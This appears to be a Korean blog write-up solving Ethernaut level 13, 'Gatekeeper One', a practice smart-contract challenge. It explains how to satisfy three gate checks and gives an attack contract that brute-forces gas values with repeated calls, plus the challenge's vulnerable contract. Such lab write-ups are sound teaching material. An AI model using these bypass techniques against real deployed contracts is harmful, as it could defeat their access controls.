Telephone과 Token level에서 배웠던 것을 기억하면서 enter함수를 통과해서 true리턴 받기
문제를 보면 gateOne, gateTwo, gateThree가 있는데
One은 컨트랙트를 작성해서 접근해야 하는 것이고,
Two는 gasleft() % 8191 이 0이어야 하는 것이고,
Three는 타입변화를 해서 통과해야 하는 것이다.
One은 됐고,
Two는 gasleft() % 8191 이 0이 되는 건 어떤 건지 살펴보자.
컨트랙트를 통해서 트랜잭션을 실행할 때, call을 쓰면 가스를 정해서 보낼 수 있는데 거기서 8191의 배수만큼 넣어주면 된다.
Three 여기가 조금 복잡하다.
이런 식이다.
bytes8을 넣어서 uint32(uint64()) 랑 (uint16(uint64())랑 같아야 한다.
그랬을 때 uint64()까지는 똑같으니까. uint32( "bytes8" ) 이랑 uint16 ( "bytes8" )이랑 같아야 하는 것.
bytes8은 0x A1 A2 A3 A4 A5 A6 A7 A8 이렇게 되어있다고 할 때
uint32(uint64(0x A1 A2 A3 A4 A5 A6 A7 A8)) == uint16(uint64(0x A1 A2 A3 A4 A5 A6 A7 A8))
uint64에서 뒤에서 자른 32와 16이 같다고 하면
A5 A6 A7 A8 과 00 00 A7 A8 이 같다는 것이기 때문에
0x A1 A2 A3 A4 00 00 A7 A8 여기까지 알 수 있다.
그리고 두 번째 줄에서
uint32(uint64(_gateKey)) => 0x 00 00 A7 A8 이거인데
uint64(_gateKey)랑 다르다고 했으니까. 0x A1 A2 A3 A4 00 00 A7 A8 라고 했을 때
A1 A2 A3 A4는 00이 아닌 다른 뭐든 와도 괜찮다.
편의상 임의의 문자 B
0x BB BB BB BB 00 00 A7 A8 여기까지 알 수 있다.
마지막 세 번째 줄에서
uint32(uint64(_gateKey)) => 0x 00 00 A7 A8 이거랑
uint16(uint160(tx.origin))이랑 같아야 한다고 하니까 tx.origin의 마지막 4자리가 A7 A8이랑 같은 것
tx.origin은 트랜잭션을 처음에 날리는 것이기 때문에 지갑주소가 될 것이고 지갑의 마지막 4자리를 넣으면 된다.
ex) 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
0x BB BB BB BB 00 00 dd C4 여기까지 알 수 있다.
그렇다면 컨트랙트 작성.
contract AttackGatekeeperOne {
address public target;
constructor(address _target) {
target = _target;
}
function pass(bytes8 gateKey, uint256 num, uint256 _repeat) public {
bytes memory encodedParams = abi.encodeWithSignature(("enter(bytes8)"),
gateKey
);
for (uint256 i = 0; i < num ; i++) {
(bool result, ) = address(target).call{gas:i + 8191 * _repeat} (
encodedParams
);
if(result) {
break;
}
}
}
}
여기서 gateKey는 위에서 구한 값, num은 400, repeat은 3으로 넣으니까 통과했다.
문제 컨트랙트에서 gasleft() % 8191 == 0 이 부분이 있는데 여기를 통과하기 위해 소모되는 가스비라고 보면 된다.
level 13.Gatekeeper One 코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
'CTF > Ethernaut' 카테고리의 다른 글
[Ethernaut] 15.Naught Coin (0) | 2024.02.12 |
---|---|
[Ethernaut] 14.Gatekeeper Two (0) | 2024.02.10 |
[Ethernaut] 12.Privacy (0) | 2024.02.08 |
[Ethernaut] 11.Elevator (0) | 2024.02.08 |
[Ethernaut] 10.Re-entrancy (0) | 2024.02.05 |